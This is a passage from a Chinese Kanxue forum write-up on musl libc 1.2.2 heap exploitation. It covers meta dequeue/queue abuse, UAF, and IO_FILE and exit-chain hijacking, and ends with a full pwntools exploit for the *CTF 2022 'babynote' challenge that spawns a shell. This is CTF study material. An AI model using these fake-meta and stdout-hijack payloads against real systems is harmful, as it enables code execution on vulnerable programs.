小小做题家之——musl 1.2.2的利用手法
2022-10-15 17:59:14 Author: mp.weixin.qq.com(查看原文) 阅读量:25 收藏


本文为看雪论坛优秀文章

看雪论坛作者ID:Nameless_a


前言

看了0xRGZ师傅的博客,觉得自己是懂musl的,小摸了一篇手动编译测试musl1.2.2 meta dequeue特性(https://bbs.pediy.com/thread-274629.htm)。做题的时候发现自己学的和写的是1托4,利用和学机制真的不太一样,在照着xyzmpv师傅的博客复现今年*ctf的babynote的过程中逐行调试才恍然大物。在这里简单记录一下复现中学到的musl 1.2.2的利用手法。


常见利用手法

meta dequeue的利用

流程

一般是下面两种:

(1)free->nontrivial_free()->dequeue

(2)malloc->alloc_slot->dequeue

(触发详情可见笔者的musl手动编译测试文章或者0xRGZ师傅的文章)

效果

任意地址写

利用思路

meta dequeue是一个类似于glibc里面双链表结构bin取出堆块的unlink操作,源码如下:

(在/musl-1.2.2/src/malloc/mallocng/meta.h目录下)

如果我们劫持meta的pre和next,就可以达到无任何检查的unlink的任意地址写的操作。

利用过程

同样,从一个简单的demo入手:

(下述调试的偏移均未开ASLR保护的U2004环境,可以通过echo 0 > /proc/sys/kernel/randomize_va_space设置,然后偏移应该就是一样的了)

/*在musl-1.2.2目录下编译和链接:./obj/musl-gcc main.c -o testpatchelf --set-interpreter ./libc.so ./test(libc.so就用题目附件给的就好)*/#include<stdio.h>#include <unistd.h> void init(){        setbuf(stdin, 0);        setbuf(stdout, 0);        setbuf(stderr, 0);} int main() {         init();        size_t *p1;        p1=(size_t *)malloc(0x20); //1        read(0,p1,0x10);        free(p1);        return 0;}

目标:给0x555555559f00赋值0x55555555b300

首先断在这个地方:

此时meta的构造如下:

发现此时这个meta指向自身,我们通过set指令修改它的pre和next:

set *0x55555555b298 = 0x555555559ef8set *0x55555555b2a0 = 0x55555555b300

修改过后,ni 发现会卡在一个地方:

但是我们发现dequeue其实是执行了的,也就是我们成功给0x555555559f00赋值0x55555555b300:

为啥会卡住呢?我们着重分析分析118行这里的源码。

这里的m是一个meta,而且是0x298的next,也就是0x55555555b300。mheap一下也能发现原来的0x298被换成了一个新的meta:

这里也提醒了我们,meta->mem即存group地址的地方是空的,也正是因为这个,在mozxv那行汇编引用[rax+8]就会卡住。于是我们考虑用set补充一下这个地方(将0xb340这个地址当作group):

set *0x55555555b310 = 0x55555555b340set *0x55555555b314 = 0x5555

(不知道为啥这些地方set就只能一次4字节)

但还不够,group也要索引到meta,即group的首地址得存放meta的地址。这是因为malloc和free的时候存在get_meta的检查,部分源码如下:

const struct group *base = (const void *)(p - UNIT*offset - UNIT);//根据chunK获取group和meta p为chunk指针const struct meta *meta = base->meta;assert(meta->mem == base);//检查assert(index <= meta->last_idx);assert(!(meta->avail_mask & (1u<<index)));assert(!(meta->freed_mask & (1u<<index)));//通过bitmap进行两次检查,确保avail和freed mask的bitmap不会越界const struct meta_area *area = (void *)((uintptr_t)meta & -4096);//meta area和meta在一页内,meta area在页开头(实际就是清除了meta的十六进制低三位)assert(area->check == ctx.secret);//检查area中的secret

重点检查就是secret和meta->mem。secret也就是meta_addr & -0x4096(即低三位为0的地址),很幸运的是恰好这里就是screat:(0xb300清除后三位被称作meta_area的地方,与meta处于同一页中)

meta->mem也就是group的首地址,要设置成meta的地址。同样用set:

set *0x000055555555b340 = 0x55555555b300set *0x000055555555b340 = 0x5555

设置好过后,ni就能成功free然后实现任意地址写了。

meta queue的利用

上面介绍dequeue利用的时候,有个active[2]中的meta从0x298换成0x55555555b300,触发了dequeue实现了active[2]上面meta的替换。这是在active[2]非空的情况下的替换。但当active为空,我们又怎么让它凭空“长”一个meta出来呢?我们看看meta.h下的nontrivial_free函数(和前面的dequeue是一个函数):

发现就是if和else if的关系,if那条分支其实检查的是mask是否符合条件(是否满了,要么全用了要么全free,这里肯定是检查是否已经用了的堆块全free),ok_2_free其实检查的是meta的free_able标记(因为其它条件基本能满足):

只要满足free_able为0,就可执行else if分支。else if分支需要满足sc<48,伪造的时候注意即可,然后就是检查active[sc]上面的meta是否是即将加入的m,我们伪造的时候一般针对的是空的active,这里就直接通过了。然后就到了queue里面:

这里的phead其实就是active,m是即将被放入active的meta,执行的肯定是else的分支(因为active为空),然后我们就成功把伪造的meta m加入active[sc]了。malloc(sc*0x10)就能从伪造的meta找到伪造的group,然后从伪造的group取出堆块。

效果

实现任意地址申请

利用流程

当伪造的group的地址为我们想要修改的地址-0x10的时候,在满足条件的情况下,就能通过malloc(sc*0x10)申请出想要修改的地址进行修改。

下面谈谈如何伪造满足条件的meta和group实现任意地址申请:

(1)首先需要满足meta_area和meta处于同一页,一般都是采用申请大堆块使得通过mmap分配,然后通过padding使得meta_area和meta处于同一页。

(2)然后需要满足meta_area的首地址为screat,这个也好满足,在padding过后紧接着就行。

(3)伪造meta:伪造prev,next,mem,以及last_idx, freeable, sc, maplen四合一的一位。一般需要伪造两种meta(同一个,执行完一个功能过后通过复写切换),一种用来dequeue任意地址写修改最后fake_group的首地址为fake_meta的地址从而通过get_meta的检查;另一种严格保证不会被free掉,从而执行queue被加进active[sc]达成任意地址申请修改的目的。

(4)伪造group:首地址为fake_meta的地址,+0x8的active_idx一般修改为1即可。

(5)free(group+0x10)来执行nontrivial_free:总共执行两次。第一次dequeue将fake_group(即target-0x10)写入fake_meta,第二次queue将fake_meta加入active[sc]。

(6)malloc(sc*0x10)申请出target进行修改。

伪造的模板如下:(两种meta的区别本质上是通过修改四合一位来实现的,也就是在free(fake_chunk)的时候nontrivial_free走的是if还是else if)。

① 伪造meta

伪造dequeue-meta:```    last_idx, freeable, sc, maplen = 0, 1, 8, 1    #fake meta    fake_meta = p64(stdout - 0x18)                  # prev    fake_meta += p64(fake_meta_addr + 0x30)         # next    fake_meta += p64(fake_mem_addr)                 # mem    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)    fake_meta += p64(0) #duiqi```伪造queue-meta(或者伪造替换group时不希望meta被free):    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta    fake_meta = p64(0)                              # prev    fake_meta += p64(0)                             # next    fake_meta += p64(fake_mem_addr)                 # mem    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)    fake_meta += p64(0)

② 伪造group

fake_mem = p64(fake_meta_addr)                  # metafake_mem += p32(1) + p32(0)

③ 拼接payload

payload = padding ##页对齐payload += p64(secret) + p64(0) ## +p64(0)是为了补齐payload += fake_meta + b'\n'

UAF

效果

任意地址泄露或者任意地址写

利用过程

musl的UAF和glibc的有点不太一样,这是因为musl的堆块free过后不会立马被再次使用。这是由meta的avail_mask和freed_mask限制的。申请group对应大小的堆块,会优先使用avail_mask上还是1的位置对应的堆块。当avail_mask变成0了会检测freed_mask是否为0,如果为0则该meta可以dequeue了(即malloc触发的dequeue),反之则会将avail_mask异或上freed_mask同时将freed_mask置为0,取出当前avail_mask从低到高第一个非0位对应的堆块作为malloc(或者其它内存申请函数)的返回值,并将该位置为0。

所以,musl的堆题处处充满了风水。举个栗子:

注意avail_mask和freed_mask,idx为1(group的第二个)的chunk此时是free状态,但是我们申请的话,其实是申请到idx为9的堆块。这就是musl管理chunk和glibc不太一样的地方,相应的UAF利用,比如idx为1的堆块存在UAF,我们想构造它既是note又是note上的关键位置(比如content这类能通过show函输泄露的地方),就只能等先取出idx为9的堆块才能申请出它了。

IO_attack

musl没有glibc的大多hook,但有我们pwnpwn人最喜欢的(白洋淀啥都喜欢十八)IO_FILE。下面给出一条链子供给参考:

puts->fputs_unlocked->fwrite_unlocked->__fwritex+142(call rax)

这里的rax是通过r12赋值的:

mov    rax, qword ptr [r12 + 0x48]call rax

而r12:R12 0x7ffff7ffb280 (__stdout_FILE) ◂— 0x68732f6e69622f / '/bin/sh' /

那我们就可以利用meta dequeue&queue实现任意地址写__stdout_FIE。

伪造的IO_FILE模板如下:

fake_IO  = b'/bin/sh\x00'                       # flagsfake_IO += p64(0)                               # rposfake_IO += p64(0)                               # rendfake_IO += p64(libc_base + 0x5c9a0)             # closefake_IO += p64(1)                               # wendfake_IO += p64(0)                               # wposfake_IO += p64(0)                               # mustbezero_1fake_IO += p64(0)                               # wbasefake_IO += p64(0)                               # readfake_IO += p64(libc_base + libc.sym['system'])  # write

其实就改了改三个点,flags,wend和write。原来的长这样:

改wend其实是因为在call rax之前还有这个检查:

exit_attack

同样给出一条参考链子(感谢CatF1y师傅的点拨):

exit->stdio_exit_needed->stdio_exit_needed->close_file

最后的close_file长这样:

最终执行的是call [rbp+0x48],在call之前贴心的把edx和esi给清空了,简直是给execve函数量身定制的。rdi是rbp,是在这个地方赋值的:

只要劫持ofl_head为一个可控的结构体(堆块或bss),在上面赋值就可以getshell。这样只需要meta dequeue的一次任意地址写并且函数里有exit就能getshell了。


例题:【*ctf2022】babynote

版本

./libc.so即可看查libc版本:

保护

ida

main

实现了增删查三种功能。

add

熟悉的结构题题,通过calloc申请0x20大小的note:

name和content都是自定大小的calloc堆块,黄色箭头的是chain上的note。这里的chain其实指这题的note之间是通过链表连起来的,有一个全局链表头global_note。通过头插法插入note(大家可以自行画图理解)。

find(也就是show)

这个函数的流程大体如下:

读入size和key,通过list_pass遍历chain,找到name_size和读入的size相同且name和key相同的note,返回给v3。然后通过大端序列显示v3的内容:

delet

也是通过list_pass寻找和输入的key以及size对应的note。重点放在下面的if和else分支,发现只有else分支会清除指针,if分支不会,也就是说当chain中的note不少于两个的时候就会存在UAF。通过这个UAF我们能创造一个既是note(记为A),同时也是一个note的content(记为B)的堆块,然后通过find打印B的content即可泄露libcbase和elfbase。由于musl libc的堆是静态堆,也就相当于泄露了堆地址(elfbase和heapbase泄露一个就行,这点和glibc是不一样的)。

利用流程:

已知存size为0x30的group最多能存10个堆块(0~9)

(1)通过find的calloc和free二连将avail_mask设置成0b1000000000,free_mask设置为0b0111111110:

(2)通过add(namesize=xxx,contentsize=0x28)将globa_note设置为B(idx=9),同时B的content将被设置为A(idx=1)。

(3)delet B(同时A也会被删除,因为delet也会删除content),通过add更新A的name和content。

(4)通过find show B的content,即可泄露libcbase和elfbase

由于泄露是大端自序泄露,所以需要特殊的手法来操作exp接收的字符:

libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60

后面还可以利用这个特性,通过find直接修改B的content为__malloc_context泄露secret(任意地址泄露);或是改成合法的chunk(任意地址free)。

forget

利用思路

(1)通过UAF 泄露elfbase和libcbase以及secret。
(2)然后申请大堆块在mmap的内存段布置好fake meta。
(3)通过任意free,执行dequeue使得target-0x10为fake meta的地址;执行queue将fake meta放入active[sc]。
(4)calloc(sc*0x10)申请出stdout_file进行修改从而劫持puts函数的io执行流为system("/bin/sh")getshell。

exp

# -*- coding: utf-8 -*-from platform import libc_verfrom pwn import *from hashlib import sha256import base64context.log_level='debug'#context.arch = 'amd64'context.arch = 'amd64'context.os = 'linux' io = lambda : r.interactive()sl = lambda a : r.sendline(a)sla = lambda a,b : r.sendlineafter(a,b)se = lambda a : r.send(a)sa = lambda a,b : r.sendafter(a,b)lg = lambda name,data : log.success(name + ":" + hex(data)) def z():    gdb.attach(r) def cho(num):    sla("option: ",str(num)) def add(namesz,name,notesz,note):    cho(1)    sla("name size: ",str(namesz))    sa("name: ",name)    sla("note size: ",str(notesz))    sa("note content: ",note)    def find(namesz,name):    cho(2)    sla("name size: ",str(namesz))    sa("name: ",name) def delet(namesz,name):    cho(3)    sla("name size: ",str(namesz))    sa("name: ",name) def remake():    cho(4) def exp():    global r     global libc    r=process("./babynote")    libc=ELF('./libc.so')      ## leak libcbase && elfbase    add(0x38,"a"*0x38,0x38,"a"*0x38)    cho(4)    for _ in range(8):        find(0x28,"a"*0x28)    add(0x38,"2"*0x38,0x28,"2"*0x28)    add(0x38,"3"*0x38,0x38,"3"*0x38)    delet(0x38,"2"*0x38)    for _ in range(6):        find(0x28,"a"*0x28)    add(0x38,"4"*0x38,0x58,"4"*0x58)     find(0x38,"2"*0x38)    r.recvuntil("0x28:")    libcbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0xb7d60    elfbase=u64(p64(int(r.recv(16),16),endianness="big")) - 0x4c40    log.success("libcbase:"+hex(libcbase))    log.success("elfbase:"+hex(elfbase))     ## set libcfunc    malloc_context = libcbase + 0xb4ac0    mmap_base = libcbase - 0xa000    fake_meta_addr = mmap_base + 0x2010    fake_mem_addr = mmap_base + 0x2040    stdout = libcbase + 0xb4280       ## leak secret    for _ in range(6):        find(0x28,"a"*0x28)    pd=p64(elfbase+0x4fc0)+p64(malloc_context)+p64(0x38)+p64(0x28)+p64(0)    find(0x28,pd)    find(0x38,"a"*0x38)    r.recvuntil("0x28:")    secret=u64(p64(int(r.recv(16),16),endianness="big"))    lg("secret",secret)     ## set fake meta    add(0x28,"5"*0x28,0x1200,'\n')    last_idx, freeable, sc, maplen = 0, 1, 8, 1    #fake meta    fake_meta = p64(stdout - 0x18)                  # prev    fake_meta += p64(fake_meta_addr + 0x30)         # next    fake_meta += p64(fake_mem_addr)                 # mem    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)    fake_meta += p64(0) #duiqi    #fake group    fake_mem = p64(fake_meta_addr)                  # meta    fake_mem += p32(1) + p32(0)                        payload = b'a' * 0xaa0    #fake meta area    payload += p64(secret) + p64(0)    payload += fake_meta + fake_mem + '\n'    find(0x1200,payload)     ## dequeue 2 set stdout_file -0x10 (where the final fake group)    for _ in range(3):       find(0x28,"a"*0x28)    pd=p64(elfbase+0x4fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)    add(0x38,"6"*0x38,0x28,pd)    delet(0x38,"a"*0x38)     ## reset fake meta , free fake chunk 2 queue it(queue the fake meta)    last_idx, freeable, sc, maplen = 1, 0, 8, 0 #freeable置0是为了拒绝ok to free校验,防止释放meta    fake_meta = p64(0)                              # prev    fake_meta += p64(0)                             # next    fake_meta += p64(fake_mem_addr)                 # mem    fake_meta += p32(0) + p32(0)                    # avail_mask, freed_mask    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)    fake_meta += p64(0)    fake_mem = p64(fake_meta_addr)                  # meta    fake_mem += p32(1) + p32(0)    payload = b'a' * 0xa90    payload += p64(secret) + p64(0)    payload += fake_meta + fake_mem + b'\n'    ##z()    find(0x1200, payload)    for _ in range(2):        find(0x28, 'a' * 0x28)    pd=p64(elfbase+0x5fc0)+p64(fake_mem_addr+0x10)+p64(0x38)+p64(0x28)+p64(0)    add(0x38,"7"*0x38,0x28,pd)    delet(0x38,"a"*0x38)     ## reset fake meta's group at stdout_file -0x10    last_idx, freeable, sc, maplen = 1, 0, 8, 0    fake_meta = p64(fake_meta_addr)                 # prev    fake_meta += p64(fake_meta_addr)                # next    fake_meta += p64(stdout - 0x10)                 # mem    fake_meta += p32(1) + p32(0)                    # avail_mask, freed_mask    fake_meta += p64((maplen << 12) | (sc << 6) | (freeable << 5) | last_idx)    fake_meta += b'a' * 0x18    fake_meta += p64(stdout - 0x10)    payload = b'a' * 0xa80    payload += p64(secret) + p64(0)    payload += fake_meta + b'\n'    find(0x1200, payload)     ## calloc to edit stdout 2 IO_attack     cho(1)    sla('name size: ', str(0x28))    sa('name: ', '\n')    sla('note size: ', str(0x80))#sc为8    fake_IO  = b'/bin/sh\x00'                       # flags    fake_IO += p64(0)                               # rpos    fake_IO += p64(0)                               # rend    fake_IO += p64(libcbase + 0x5c9a0)             # close    fake_IO += p64(1)                               # wend    fake_IO += p64(0)                               # wpos    fake_IO += p64(0)                               # mustbezero_1    fake_IO += p64(0)                               # wbase    fake_IO += p64(0)                               # read    fake_IO += p64(libcbase + libc.sym['system'])  # write    ##z()    sl(fake_IO)    io() if __name__ == '__main__':    exp()

不足之处

dequeue和queue的触发不止free这种,但笔者精力有限没能全部研究透彻(不过如果以后搞嵌入式真的需要研究这方面的漏洞的话再行分享hh)。但是比起glibc,musl的libc真的缩减了很多,属于是那种比赛的时候可以现找漏洞点的。所以没涉及的地方就交给读者自行研究了,感谢阅读。

参考链接

感谢xyzmpv师傅的题解以及0xRGz 师傅的musl源码解析!

*CTF babynote 复现_xyzmpv的博客-CSDN博客

https://blog.csdn.net/weixin_45209963/article/details/124423573

musl 1.2.2 总结+源码分析

https://bbs.pediy.com/thread-269533-1.htm#msg_header_h3_8

看雪ID:Nameless_a

https://bbs.pediy.com/user-home-943085.htm

*本文由看雪论坛 Nameless_a 原创,转载请注明来自看雪社区

2.5折门票限时抢购

峰会官网:https://meet.kanxue.com/kxmeet-6.htm

# 往期推荐

1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇

2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现

3.如何保护自己的代码?给自己的代码添加NoChange属性

4.针对某会议软件,简单研究其CEF框架

5.PE加载过程 FileBuffer-ImageBuffer

6.APT 双尾蝎样本分析

球分享

球点赞

球在看

点击“阅读原文”,了解更多!


文章来源: https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458476772&idx=2&sn=5b7b00c25b5897fc48a5f201e07b4a0c&chksm=b18e506e86f9d9789294391e019bc9abb84aa282132bc9db6c3cdfbc579a4401d7078fa32d14#rd
如有侵权请联系:admin#unsafe.sh